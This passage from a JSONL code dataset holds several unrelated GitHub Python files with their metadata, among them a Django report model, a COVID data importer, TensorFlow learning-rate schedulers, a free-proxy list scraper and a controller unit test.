collections import deque\n    N = int(input())\n    DP = [False for _ in range(10000)]\n    sosu = []\n    et_prime(DP)\n    \n    for i in range(N):\n        a, b = input().split()\n        visited = [False for _ in range(10000)]\n        result = bfs(a, b)\n\n        if result is None: print(\"Impossible\")\n        else: print(result)\n\n\n\"\"\"\n3\n1033 8179\n1373 8017\n1033 1033\n\"\"\"","repo_name":"woghks778803/algorithm-study","sub_path":"backjoon/Gold/1963.py","file_name":"1963.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31488606236","text":"import enum\n\nfrom django.db import models\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.postgres.fields import JSONField\nfrom django.utils.translation import ugettext_lazy as _\nfrom .organization_model import Organization\n\nfrom os2datascanner.utils.system_utilities import time_now\nfrom os2datascanner.engine2.pipeline.messages import MatchesMessage\n\n\nclass DocumentReport(models.Model):\n    scan_time = models.DateTimeField(null=True, db_index=True,\n                                            verbose_name=_('scan time'))\n\n    created_timestamp = models.DateTimeField(null=True,\n                                             verbose_name=_('created timestamp'))\n\n    organization = models.ForeignKey(Organization,\n                                     null=True, blank=True,\n                                     verbose_name=_('organization'),\n                                     on_delete=models.PROTECT)\n\n    path = models.CharField(max_length=2000, verbose_name=_(\"path\"),\n                            db_index=True)\n    # It could be that the meta data should not be part of the jsonfield...\n    data = JSONField(null=True)\n\n    source_type = models.CharField(max_length=2000,\n                                   verbose_name=_(\"source type\"))\n\n    sensitivity = models.IntegerField(null=True, verbose_name=_(\"sensitivity\"))\n\n    probability = models.FloatField(null=True, verbose_name=_(\"probability\"))\n\n    # datasource_last_modified stores when the scanned file/email/element itself, has last been updated.\n    # This timestamp is collected during scan and is from the datasource.\n    datasource_last_modified = models.DateTimeField(null=True)\n\n    def _str_(self):\n        return self.path\n\n    @property\n    def matches(self):\n        matches = self.data.get(\"matches\")\n        return MatchesMessage.from_json_object(matches) if matches else None\n\n    @enum.unique\n    class ResolutionChoices(enum.Enum):\n        # Future simplification note: the behaviour of the enumeration values\n        # of this class is modelled on Django 3's model.Choices\n        OTHER = 0, \"Andet\"\n        EDITED = 1, \"Redigeret\"\n        MOVED = 2, \"Flyttet\"\n        REMOVED = 3, \"Slettet\"\n        NO_ACTION = 4, \"Intet foretaget\"\n\n        def __new__(cls, *args):\n            obj = object.__new__(cls)\n            # models.Choices compatibility: the last element of the enum value\n            # tuple, if there is one, is a human-readable label\n            obj._value_ = args[0] if len(args) < 3 else args[:-1]\n            return obj\n\n        def __init__(self, *args):\n            self.label = args[-1] if len(args) > 1 else self.name\n\n        # This is a class *property* in model.Choices, but that would require\n        # sinister metaclass sorcery\n        @classmethod\n        def choices(cls):\n            return [(k.value, k.label) for k in cls]\n\n    resolution_status = models.IntegerField(choices=ResolutionChoices.choices(),\n                                            null=True, blank=True, db_index=True,\n                                            verbose_name=_(\"resolution status\"))\n\n    resolution_time = models.DateTimeField(blank=True, null=True,\n                                                verbose_name=_(\"resolution time\"))\n\n    custom_resolution_status = models.CharField(max_length=1024, blank=True,\n                                                verbose_name=_(\"justification\"))\n        \n    def clean(self):\n        self.clean_custom_resolution_status()\n\n    def clean_custom_resolution_status(self):\n        self.custom_resolution_status = self.custom_resolution_status.strip()\n        if self.resolution_status == 0 and not self.custom_resolution_status:\n                raise ValidationError(\n                        {\n                            \"custom_resolution_status\":\n                                    \"Resolution status 0 requires an\"\n                                    \" explanation\"\n                        })\n\n    def __init__(self, *args, **kwargs):\n        # TODO: move to property/model method\n        super().__init__(*args, **kwargs)\n        self.__resolution_status = self.resolution_status\n\n    def save(self, *args, **kwargs):\n        now = time_now()\n\n        # If Resolution status goes from not handled to handled - change resolution_time to now\n        if self.__resolution_status == None and (self.resolution_status or self.resolution_status == 0):\n            self.resolution_time = now\n\n        # Adds a timestamp if it's a new match:\n        if not self.pk:\n            self.created_timestamp = now\n\n        super().save(*args, **kwargs)\n\n        # Add DocumentReport to Alias.match_relation, when it's saved to the db.\n        from .aliases.alias_model import Alias\n        try:\n            metadata = self.data['metadata']['metadata'].values()\n            value = list(metadata)[0]\n\n            aliases = Alias.objects.select_subclasses()\n            \n            for alias in aliases:\n                if str(alias) == value:\n                    try:\n                        tm = Alias.match_relation.through\n                        tm.objects.bulk_create([tm(documentreport_id=self.pk, alias_id=alias.pk)], ignore_conflicts=True)\n                    except:\n                        print(\"Failed to create match_relation\")\n        except:\n            print(self, \" has no metadata\")\n\n        from ..views.views import send_socket_message\n        send_socket_message()\n\n    class Meta:\n        verbose_name_plural = _(\"document reports\")\n        ordering = ['-sensitivity', '-probability']\n","repo_name":"mBoegvald/bachelor-os2datascanner","sub_path":"src/os2datascanner/projects/report/reportapp/models/documentreport_model.py","file_name":"documentreport_model.py","file_ext":"py","file_size_in_byte":5563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73247043391","text":"from django.urls import path\nfrom . import views\nfrom . import api\n\n\napp_name = 'quiz'\n\nurlpatterns = [\n    path(r'', views.quizside, name='quiz'),\n    path(r'quiz/', views.quizcode, name='quizcode'),\n    path(r'quiz/lag-quiz/', views.CreateQuiz.as_view(), name='create_quiz'),\n    path(r'quiz/<int:quiz_id>/', views.play_quiz, name='play_quiz'),\n    path(r'quiz/<int:quiz_id>/api/', api.QuizAPI.as_view(), name='play_quiz_api'),\n]\n","repo_name":"Fredrik3B/quiz","sub_path":"nettside/quiz/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"15924637455","text":"import pandas as pd\nimport numpy as np\nimport io\nfrom upload import upload\nfrom datetime import timedelta, date\nimport requests\n\ndef import_csv_data(csv_text, entry_date):\n\t# load the CSV data\n\tstring_io = io.StringIO(csv_text)\n\tdf = pd.read_csv(string_io, keep_default_na=False, na_values=['___'])\n\t\n\t# define the columns\n\tlat_col = lng_col = \"\"\n\tcountry_col = province_col = county_col = \"\"\n\ttotal_col = death_col = recovered_col = \"\"\n\t\n\t# future-proofing\n\tfor col in df.columns:\n\t\tif 'lat' in col.lower(): lat_col = col\n\t\telif 'long' in col.lower(): lng_col = col\n\t\telif 'country' in col.lower(): country_col = col\n\t\telif 'province' in col.lower(): province_col = col\n\t\telif 'county' in col.lower(): county_col = col\n\t\telif \"death\" in col.lower(): death_col = col\n\t\telif \"dead\" in col.lower(): death_col = col\n\t\telif \"confirm\" in col.lower(): total_col = col\n\t\telif \"recover\" in col.lower(): recovered_col = col\n\t\n\tcontent = {\n\t\t'datapoint': [],\n\t\t'location': []\n\t}\n\n\tdf.sort_values(by=[col for col in [county_col, province_col, country_col] if col], ascending=False)\n\t\n\tfor _, row in df.iterrows():\n\t\t# Steps\n\t\t# 1. Find country, province, and county name\n\t\t# 2. Get the actual coronavirus numbers\n\t\t# 3. Estimate the location if we can\n\n\t\t# STEP 1 #\n\t\tcountry = row[country_col]\n\t\tprovince = row[province_col] if not pd.isnull(row[province_col]) else ''\n\t\tcounty = row[county_col] if county_col else ''\n\n\t\t## FOR DEBUG ##\n\t\tif (\"Korea\" not in country):\n\t\t\tcontinue\n\n\t\t# STEP 2 #\n\t\ttotal = row[total_col]\n\t\tdeaths = row[death_col]\n\t\trecovered = row[recovered_col]\n\n\t\tif not total: total = 0\n\t\tif not deaths: deaths = 0\n\t\tif not recovered: recovered = 0\n\n\t\tlocation_row = {}\n\t\tdatapoint_row = {}\n\n\t\tif province == 'Recovered':\n\t\t\tdatapoint_row = {\n\t\t\t\t\"country\": country,\n\t\t\t\t\"recovered\": recovered,\n\t\t\t\t\"entry_date\": entry_date\n\t\t\t}\n\n\t\t\tlocation_row = { \"country\": country }\n\t\telse:\n\t\t\tdatapoint_row = {\n\t\t\t\t\"country\": country,\n\t\t\t\t\"province\": province,\n\t\t\t\t\"county\": county,\n\t\t\t\t\"total\": total,\n\t\t\t\t\"deaths\": deaths,\n\t\t\t\t\"recovered\": recovered,\n\t\t\t\t\"entry_date\": entry_date\n\t\t\t}\n\n\t\t\tlocation_row = {\n\t\t\t\t\"country\": country,\n\t\t\t\t\"province\": province,\n\t\t\t\t\"county\": county\n\t\t\t}\n\n\t\t# Save the primary location data if we can\n\t\tif lat_col and lng_col:\n\t\t\tlat, lng = row[lat_col], row[lng_col]\n\t\t\tif lat and lng:\n\t\t\t\tlocation_row['latitude'] = lat\n\t\t\t\tlocation_row['longitude'] = lng\n\n\t\tcontent['location'].append(location_row)\n\t\tcontent['datapoint'].append(datapoint_row)\n\treturn content\n\ndef import_jhu_date(entry_date):\n\tdate_formatted = entry_date.strftime(\"%m-%d-%Y\")\n\tprint(\"\\rLoading data from JHU \" + date_formatted + '...', end='\\r')\n\t\n\t# download from Github\n\tgithub_raw_url = f\"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{date_formatted}.csv\"\n\tresponse = requests.get(github_raw_url, timeout=10)\n\t\n\tif response.status_code == 200:\n\t\treturn import_csv_data(response.text, entry_date)\n\telse:\n\t\tprint(\"404 not found\")\n\ndef import_jhu_date_range(date_1, date_2):\n\tnext_date = timedelta(days=1)\n\tcurrent_date = date_1\n\t\n\twhile current_date <= date_2:\n\t\tprint(\"Loading JHU data for\", current_date, \"                                      \")\n\t\tresult = import_jhu_date(current_date)\n\t\tif result:\n\t\t\tyield result\n\t\tcurrent_date += next_date\n\ndef import_jhu_historical():\n\treturn import_jhu_date_range(date_1=date(2020, 3, 10), date_2=date.today())\n","repo_name":"myfatemi04/Corona-Vision","sub_path":"data_collection/data_imports/import_jhu.py","file_name":"import_jhu.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"21834804270","text":"import requests\r\n\r\ndef pegar_cotacoes():\r\n    # Função que requisita a API informações sobre cotação atual \r\n    requisicao = requests.get(\"https://economia.awesomeapi.com.br/last/USD-BRL,EUR-BRL,BTC-BRL\")\r\n\r\n    requisicao_dic = requisicao.json()\r\n\r\n    cotacao_dolar = requisicao_dic['USDBRL']['bid']\r\n    cotacao_euro = requisicao_dic['EURBRL']['bid']\r\n    cotacao_btc = requisicao_dic['BTCBRL']['bid']\r\n\r\n    # estou chamando a label com a variável \"text\" que será completada com a geração do texto\r\n    texto_cotacao[\"text\"] = f'''\r\n    Dólar: {cotacao_dolar}\r\n    Euro: {cotacao_euro}\r\n    BTC: {cotacao_btc}'''\r\n\r\n\r\nimport tkinter as tk\r\n\r\n# inicia a janela \r\njanela1 = tk.Tk() \r\n\r\n# alterar titulo da janela\r\njanela1.title('Cotação atual') \r\n\r\n# label cria o texto na janela (param1 = janela, param2 = texto)\r\ntexto_janela = tk.Label(janela1, text=\"Clique no botão para ver a cotação das moedas\") \r\n# o grid define onde a Label do texto ficara (param1 = coluna, param2 = linha, param3 = espaçamento largura, param4 = espaçamento altura)\r\ntexto_janela.grid(column=1, row=0, padx=50, pady=20) \r\n\r\n# criando o botão (param1 = janela, param2 = texto, param3 = comando que o botão executara)\r\nbotao = tk.Button(janela1, text=\"Buscar Cotações\", command=pegar_cotacoes)  \r\nbotao.grid(column=1, row=2)\r\n\r\ntexto_cotacao = tk.Label(janela1, text=\"\") # deixo o texto em branco (será preenchido na função)\r\ntexto_cotacao.grid(column=1, row=3, pady=20)\r\n\r\n\r\njanela1.mainloop() # mantém a janela aberta (última linha do código)","repo_name":"kakanetwork/Estudos-Linguagens","sub_path":"Prog-Py/Tkinter/Cotacao.py","file_name":"Cotacao.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26095231648","text":"\"\"\"\ncolors = [\"red\", \"blue\", \"green\", \"purple\"]\nages = [14, 15, 15, 16, 16, 13, 18, 14, 15, 15, 14]\n\n\n# 5 - how do we remove an item from the list?\nprint(colors)\ndel colors[2]\nprint(colors)\n\"\"\"\ncolors = [\"red\", \"blue\", \"green\", \"purple\"]\nages = [14, 15, 15, 16, 16, 13, 18, 14, 15, 15, 14]\n\n\n# 6 - what happens when we use the append() function?\nprint(colors)\ncolors.append(\"orange\")\nprint(colors)\n","repo_name":"CNieves121/lps_compsci","sub_path":"class_samples/3-7_forloops/PartnerPractice.py","file_name":"PartnerPractice.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3310874999","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/4/20 \n# @File : lr_scheduler.py\n# @Software: PyCharm\nimport tensorflow as tf\n\n\n\ndef MultiStepLR(initial_learning_rate, lr_steps, lr_rate, name='MultiStepLR'):\n    \"\"\"Multi-steps learning rate scheduler.\"\"\"\n    lr_steps_value = [initial_learning_rate]\n    for _ in range(len(lr_steps)):\n        lr_steps_value.append(lr_steps_value[-1] * lr_rate)\n    return tf.keras.optimizers.schedules.PiecewiseConstantDecay(\n        boundaries=lr_steps, values=lr_steps_value)\n\n\ndef MultiStepWarmUpLR(initial_learning_rate, lr_steps, lr_rate,\n                      warmup_steps=0., min_lr=0.,\n                      name='MultiStepWarmUpLR'):\n    \"\"\"Multi-steps warm up learning rate scheduler.\"\"\"\n    assert warmup_steps <= lr_steps[0]\n    assert min_lr <= initial_learning_rate\n    lr_steps_value = [initial_learning_rate]\n    for _ in range(len(lr_steps)):\n        lr_steps_value.append(lr_steps_value[-1] * lr_rate)\n    return PiecewiseConstantWarmUpDecay(\n        boundaries=lr_steps, values=lr_steps_value, warmup_steps=warmup_steps,\n        min_lr=min_lr)\n\n\ndef CosineAnnealingLR_Restart(initial_learning_rate, t_period, lr_min):\n    \"\"\"Cosine annealing learning rate scheduler with restart.\"\"\"\n    return tf.keras.experimental.CosineDecayRestarts(\n        initial_learning_rate=initial_learning_rate,\n        first_decay_steps=t_period, t_mul=1.0, m_mul=1.0,\n        alpha=lr_min / initial_learning_rate)\n\n\nclass PiecewiseConstantWarmUpDecay(\n        tf.keras.optimizers.schedules.LearningRateSchedule):\n    \"\"\"A LearningRateSchedule wiht warm up schedule.\n    Modified from tf.keras.optimizers.schedules.PiecewiseConstantDecay\"\"\"\n\n    def __init__(self, boundaries, values, warmup_steps, min_lr,\n                 name=None):\n        super(PiecewiseConstantWarmUpDecay, self).__init__()\n\n        if len(boundaries) != len(values) - 1:\n            raise ValueError(\n                    \"The length of boundaries should be 1 less than the\"\n                    \"length of values\")\n\n        self.boundaries = boundaries\n        self.values = values\n        self.name = name\n        self.warmup_steps = warmup_steps\n        self.min_lr = min_lr\n\n    def __call__(self, step):\n        with tf.name_scope(self.name or \"PiecewiseConstantWarmUp\"):\n            step = tf.cast(tf.convert_to_tensor(step), tf.float32)\n            pred_fn_pairs = []\n            warmup_steps = self.warmup_steps\n            boundaries = self.boundaries\n            values = self.values\n            min_lr = self.min_lr\n\n            pred_fn_pairs.append(\n                (step <= warmup_steps,\n                 lambda: min_lr + step * (values[0] - min_lr) / warmup_steps))\n            pred_fn_pairs.append(\n                (tf.logical_and(step <= boundaries[0],\n                                step > warmup_steps),\n                 lambda: tf.constant(values[0])))\n            pred_fn_pairs.append(\n                (step > boundaries[-1], lambda: tf.constant(values[-1])))\n\n            for low, high, v in zip(boundaries[:-1], boundaries[1:],\n                                    values[1:-1]):\n                # Need to bind v here; can do this with lambda v=v: ...\n                pred = (step > low) & (step <= high)\n                pred_fn_pairs.append((pred, lambda: tf.constant(v)))\n\n            # The default isn't needed here because our conditions are mutually\n            # exclusive and exhaustive, but tf.case requires it.\n            return tf.case(pred_fn_pairs, lambda: tf.constant(values[0]),\n                           exclusive=True)\n\n    def get_config(self):\n        return {\n                \"boundaries\": self.boundaries,\n                \"values\": self.values,\n                \"warmup_steps\": self.warmup_steps,\n                \"min_lr\": self.min_lr,\n                \"name\": self.name\n        }","repo_name":"PureHing/face-mask-detection-tf2","sub_path":"components/lr_scheduler.py","file_name":"lr_scheduler.py","file_ext":"py","file_size_in_byte":3816,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"60"}
+{"seq_id":"9234704222","text":"# -*- coding: utf-8 -*-\n# !/usr/bin/env python\n\"\"\"\n-------------------------------------------------\n   File Name：     GetFreeProxy.py\n   Description :  抓取免费代理\n   Author :       JHao\n   date：          2016/11/25\n-------------------------------------------------\n   Change Activity:\n                   2016/11/25:\n-------------------------------------------------\n\"\"\"\nimport re\nimport sys\nimport requests\n\ntry:\n    from importlib import reload  # py3 实际不会实用，只是为了不显示语法错误\nexcept:\n    reload(sys)\n    sys.setdefaultencoding('utf-8')\n\nsys.path.append('..')\n\nfrom Util.WebRequest import WebRequest\nfrom Util.utilFunction import getHtmlTree\nfrom Util.utilFunction import verifyProxyFormat\n\n# for debug to disable insecureWarning\nrequests.packages.urllib3.disable_warnings()\n\n\"\"\"\n    data5u.com\n    66ip.cn\n    31f.cn\n    xicidaili.com\n    goubanjia.com\n    kxdaili.com\n    kuaidaili.com\n    xsdaili.com\n    zdaye.com\n    ip3366.net\n    iphai.com\n    jiangxianli.com\n    feiyiproxy.com\n    qydaili.com\n\"\"\"\n\n\nclass GetFreeProxy(object):\n    \"\"\"\n    proxy getter\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    @staticmethod\n    def freeProxyFirst():\n        \"\"\"\n        无忧代理 http://www.data5u.com/\n        几乎没有能用的\n        :return:\n        \"\"\"\n        url_list = [\n            'http://www.data5u.com/',\n            'http://www.data5u.com/free/gngn/index.shtml',\n            'http://www.data5u.com/free/gnpt/index.shtml'\n        ]\n        for url in url_list:\n            html_tree = getHtmlTree(url)\n            ul_list = html_tree.xpath('//ul[@class=\"l2\"]')\n            for ul in ul_list:\n                try:\n                    yield ':'.join(ul.xpath('.//li/text()')[0:2])\n                except Exception as e:\n                    print(e)\n\n    @staticmethod\n    def freeProxySecond(area=34):\n        \"\"\"\n        代理66 http://www.66ip.cn/\n        :param area: 抓取代理页数，page=1北京代理页，page=2上海代理页......\n        :return:\n        \"\"\"\n        area = 34 if area > 34 else area\n        for area_index in range(1, area + 1):\n            url = \"http://www.66ip.cn/areaindex_{}/1.html\".format(str(area_index))\n            html_tree = getHtmlTree(url)\n            tr_list = html_tree.xpath(\"//div[@id='footer']//table//tr[position()>1]\")\n            if len(tr_list) == 0:\n                continue\n            for tr in tr_list:\n                yield tr.xpath(\"./td[1]/text()\")[0] + \":\" + tr.xpath(\"./td[2]/text()\")[0]\n\n    @staticmethod\n    def freeProxyThird():\n        \"\"\"\n        31代理 http://31f.cn/http-proxy/\n        :return:\n        \"\"\"\n        urls = ['http://31f.cn/http-proxy/', 'http://31f.cn/https-proxy/']\n        for url in urls:\n            html_tree = getHtmlTree(url)\n            try:\n                tr_list = html_tree.xpath('//table[@class=\"table table-striped\"]//tr[position()>1]')\n                for tr in tr_list:\n                    try:\n                        if '天' in tr.xpath('./td[9]/text()')[0]:\n                            continue\n                        yield tr.xpath('./td[2]/text()')[0] + ':' + tr.xpath('./td[3]/text()')[0]\n                    except Exception as e:\n                        print(e)\n            except Exception as e:\n                print(e)\n\n    @staticmethod\n    def freeProxyFourth(page_count=2):\n        \"\"\"\n        西刺代理 http://www.xicidaili.com\n        :return:\n        \"\"\"\n        url_list = [\n            'http://www.xicidaili.com/nn/',  # 高匿\n            'http://www.xicidaili.com/nt/',  # 透明\n        ]\n        for each_url in url_list:\n            for i in range(1, page_count + 1):\n                page_url = each_url + str(i)\n                tree = getHtmlTree(page_url)\n                proxy_list = tree.xpath('.//table[@id=\"ip_list\"]//tr[position()>1]')\n                for proxy in proxy_list:\n                    try:\n                        yield ':'.join(proxy.xpath('./td/text()')[0:2])\n                    except Exception as e:\n                        pass\n\n    @staticmethod\n    def freeProxyFifth():\n        \"\"\"\n        guobanjia http://www.goubanjia.com/\n        :return:\n        \"\"\"\n        url = \"http://www.goubanjia.com/\"\n        tree = getHtmlTree(url)\n        proxy_list = tree.xpath('//td[@class=\"ip\"]')\n        # 此网站有隐藏的数字干扰，或抓取到多余的数字或.符号\n        # 需要过滤掉<p style=\"display:none;\">的内容\n        xpath_str = \"\"\".//*[not(contains(@style, 'display: none'))\n                                        and not(contains(@style, 'display:none'))\n                                        and not(contains(@class, 'port'))\n                                        ]/text()\n                                \"\"\"\n        for each_proxy in proxy_list:\n            try:\n                # :符号裸放在td下，其他放在div span p中，先分割找出ip，再找port\n                ip_addr = ''.join(each_proxy.xpath(xpath_str))\n                port = each_proxy.xpath(\".//span[contains(@class, 'port')]/text()\")[0]\n                yield '{}:{}'.format(ip_addr, port)\n            except Exception as e:\n                pass\n\n    @staticmethod\n    def freeProxySixth():\n        \"\"\"\n        开心代理 http://ip.kxdaili.com/dailiip.html\n        :return:\n        \"\"\"\n        urls = ['http://ip.kxdaili.com/dailiip/1/{}.html#ip'.format(str(page)) for page in range(1, 8)]\n        for url in urls:\n            try:\n                html_tree = getHtmlTree(url)\n                tr_list = html_tree.xpath('//table[@class=\"ui table segment\"]//tbody//tr')\n                for tr in tr_list:\n                    try:\n                        yield tr.xpath('./td[1]/text()')[0] + ':' + tr.xpath('./td[2]/text()')[0]\n                    except Exception as e:\n                        print(e)\n            except Exception as e:\n                print(e)\n\n    @staticmethod\n    def freeProxySeventh():\n        \"\"\"\n        快代理 https://www.kuaidaili.com\n        \"\"\"\n        url_list = [\n            'https://www.kuaidaili.com/free/inha/{page}/',\n            'https://www.kuaidaili.com/free/intr/{page}/'\n        ]\n        for url in url_list:\n            for page in range(1, 3):\n                page_url = url.format(page=page)\n                tree = getHtmlTree(page_url)\n                proxy_list = tree.xpath('.//table//tr')\n                for tr in proxy_list[1:]:\n                    yield ':'.join(tr.xpath('./td/text()')[0:2])\n\n    @staticmethod\n    def freeProxyEight():\n        \"\"\"\n        小舒代理 http://www.xsdaili.com/\n        \"\"\"\n        url = 'http://www.xsdaili.com/'\n        html_tree = getHtmlTree(url)\n        new_url = url + html_tree.xpath('//div[@class=\"col-md-12\"]/div[1]//a[1]/@href')[0]\n        new_html_tree = getHtmlTree(new_url)\n        proxy_list = new_html_tree.xpath('//div[@class=\"cont\"]/text()')\n        for proxy in proxy_list:\n            try:\n                yield proxy.split('@')[0].strip()\n            except Exception as e:\n                print(e)\n\n    @staticmethod\n    def freeProxyNinth():\n        \"\"\"\n        站大爷代理 http://ip.zdaye.com/\n        :return:\n        \"\"\"\n        url = 'http://ip.zdaye.com/'\n        html_tree = getHtmlTree(url)\n        item_list = html_tree.xpath('//div[@class=\"Loglist\"]/div[2]/div[@class=\"panel-body\"]//a/text()')\n        for item in item_list:\n            try:\n                yield item.split('@')[0].strip()\n            except Exception as e:\n                print(e)\n\n        header = {\n            'Referer': 'http://ip.zdaye.com/',\n        }\n        new_urls = html_tree.xpath('//div[@class=\"Loglist\"]/div[1]/div[@class=\"panel-body\"]//a/@href')\n        for new_url in new_urls:\n            try:\n                new_html_tree = getHtmlTree(url + new_url, header=header)\n                new_item_list = new_html_tree.xpath('//div[@class=\"cont\"]/text()')\n                for new_item in new_item_list:\n                    try:\n                        yield new_item.split('@')[0].strip()\n                    except Exception as e:\n                        print(e)\n            except Exception as e:\n                print(e)\n\n    @staticmethod\n    def freeProxyTen():\n        \"\"\"\n        云代理 http://www.ip3366.net/free/\n        :return:\n        \"\"\"\n        urls = ['http://www.ip3366.net/free/?stype=1&page={}'.format(str(i)) for i in range(1, 4)]\n        request = WebRequest()\n        for url in urls:\n            r = request.get(url)\n            proxies = re.findall(r'<td>(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})</td>[\\s\\S]*?<td>(\\d+)</td>', r.text)\n            for proxy in proxies:\n                yield \":\".join(proxy)\n\n    @staticmethod\n    def freeProxyEleven():\n        \"\"\"\n        IP海 http://www.iphai.com/free/ng\n        :return:\n        \"\"\"\n        urls = [\n            'http://www.iphai.com/free/ng',\n            'http://www.iphai.com/free/np',\n            'http://www.iphai.com/free/wg',\n            'http://www.iphai.com/free/wp'\n        ]\n        request = WebRequest()\n        for url in urls:\n            r = request.get(url)\n            proxies = re.findall(r'<td>\\s*?(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s*?</td>[\\s\\S]*?<td>\\s*?(\\d+)\\s*?</td>',\n                                 r.text)\n            for proxy in proxies:\n                yield \":\".join(proxy)\n\n    @staticmethod\n    def freeProxyTwelve(page_count=8):\n        \"\"\"\n        guobanjia http://ip.jiangxianli.com/?page=\n        免费代理库\n        超多量\n        :return:\n        \"\"\"\n        for i in range(1, page_count + 1):\n            url = 'http://ip.jiangxianli.com/?page={}'.format(i)\n            html_tree = getHtmlTree(url)\n            tr_list = html_tree.xpath(\"/html/body/div[1]/div/div[1]/div[2]/table/tbody/tr\")\n            if len(tr_list) == 0:\n                continue\n            for tr in tr_list:\n                yield tr.xpath(\"./td[2]/text()\")[0].strip() + \":\" + tr.xpath(\"./td[3]/text()\")[0].strip()\n\n    @staticmethod\n    def freeProxyThirteen():\n        \"\"\"\n        飞蚁代理 http://www.feiyiproxy.com/?page_id=1457\n        :return:\n        \"\"\"\n        url = 'http://www.feiyiproxy.com/?page_id=1457'\n        html_tree = getHtmlTree(url)\n        tr_list = html_tree.xpath('//div[@class=\"et_pb_code et_pb_module  et_pb_code_1\"]//tr[position()>1]')\n        for tr in tr_list:\n            yield tr.xpath('./td[1]/text()')[0].strip() + ':' + tr.xpath('./td[2]/text()')[0].strip()\n\n    @staticmethod\n    def freeProxyFourteen():\n        \"\"\"\n        旗云代理  http://www.qydaili.com/free/?action=china&page=\n        :return:\n        \"\"\"\n        urls = ['http://www.qydaili.com/free/?action=china&page={}'.format(page) for page in range(1, 4)]\n        for url in urls:\n            html_tree = getHtmlTree(url)\n            tr_list = html_tree.xpath('//table[@class=\"table table-bordered table-striped\"]//tbody//tr')\n            for tr in tr_list:\n                yield tr.xpath('./td[1]/text()')[0].strip() + ':' + tr.xpath('./td[2]/text()')[0].strip()\n\n    @staticmethod\n    def freeProxyWallFirst():\n        \"\"\"\n        墙外网站 cn-proxy\n        :return:\n        \"\"\"\n        urls = ['http://cn-proxy.com/', 'http://cn-proxy.com/archives/218']\n        request = WebRequest()\n        for url in urls:\n            r = request.get(url)\n            proxies = re.findall(r'<td>(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})</td>[\\w\\W]<td>(\\d+)</td>', r.text)\n            for proxy in proxies:\n                yield ':'.join(proxy)\n\n    @staticmethod\n    def freeProxyWallSecond():\n        \"\"\"\n        https://proxy-list.org/english/index.php\n        :return:\n        \"\"\"\n        urls = ['https://proxy-list.org/english/index.php?p=%s' % n for n in range(1, 10)]\n        request = WebRequest()\n        import base64\n        for url in urls:\n            r = request.get(url)\n            proxies = re.findall(r\"Proxy\\('(.*?)'\\)\", r.text)\n            for proxy in proxies:\n                yield base64.b64decode(proxy).decode()\n\n    @staticmethod\n    def freeProxyWallThird():\n        urls = ['https://list.proxylistplus.com/Fresh-HTTP-Proxy-List-1']\n        request = WebRequest()\n        for url in urls:\n            r = request.get(url)\n            proxies = re.findall(r'<td>(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})</td>[\\s\\S]*?<td>(\\d+)</td>', r.text)\n            for proxy in proxies:\n                yield ':'.join(proxy)\n\n\nif __name__ == '__main__':\n    from CheckProxy import CheckProxy\n\n    CheckProxy.checkGetProxyFunc(GetFreeProxy.freeProxyFourteen)\n    # CheckProxy.checkGetProxyFunc(GetFreeProxy.freeProxySecond)\n    #\n    # CheckProxy.checkAllGetProxyFunc()\n\n","repo_name":"AndrewZStore/private_proxy_pool","sub_path":"ProxyGetter/getFreeProxy.py","file_name":"getFreeProxy.py","file_ext":"py","file_size_in_byte":12603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36548730197","text":"from unittest import TestCase\n\nfrom unittest.mock import Mock, patch, sentinel as s\nfrom xivo import config_helper\n\nfrom ..controller import Controller\nfrom ..http_server import api, app\n\n\nclass TestController(TestCase):\n    def setUp(self):\n        self.http_server = (\n            patch('wazo_phoned.controller.HTTPServer').start().return_value\n        )\n        self.plugin_manager = patch('wazo_phoned.controller.plugin_helpers').start()\n        self.token_renewer = (\n            patch('wazo_phoned.controller.TokenRenewer').start().return_value\n        )\n        self.bus_consumer = (\n            patch('wazo_phoned.controller.CoreBusConsumer').start().return_value\n        )\n        self.status_aggregator = (\n            patch('wazo_phoned.controller.StatusAggregator').start().return_value\n        )\n        config_helper.get_xivo_uuid = Mock(return_value='VALID-UUID')\n\n    def tearDown(self):\n        patch.stopall()\n\n    def test_run_starts_http_server(self):\n        config = self._create_config(**{'rest_api': {}, 'debug': s.debug})\n        controller = Controller(config)\n        controller.run()\n        self.http_server.run.assert_called_once_with()\n\n    def test_run_loads_plugins(self):\n        config = self._create_config(\n            **{'enabled_plugins': {'cisco': True, 'aastra': False}}\n        )\n\n        controller = Controller(config)\n        controller.run()\n\n        self.plugin_manager.load.assert_called_once_with(\n            namespace='wazo_phoned.plugins',\n            names=config['enabled_plugins'],\n            dependencies={\n                'config': config,\n                'api': api,\n                'app': app,\n                'token_changed_subscribe': self.token_renewer.subscribe_to_token_change,\n                'bus_consumer': self.bus_consumer,\n                'status_aggregator': self.status_aggregator,\n                'phone_plugins': controller.phone_plugins,\n            },\n        )\n\n    def _create_config(self, **kwargs):\n        config = dict(kwargs)\n        config.setdefault(\n            'auth',\n            {\n                'host': 'localhost',\n                'port': 9497,\n                'verify_certificate': False,\n                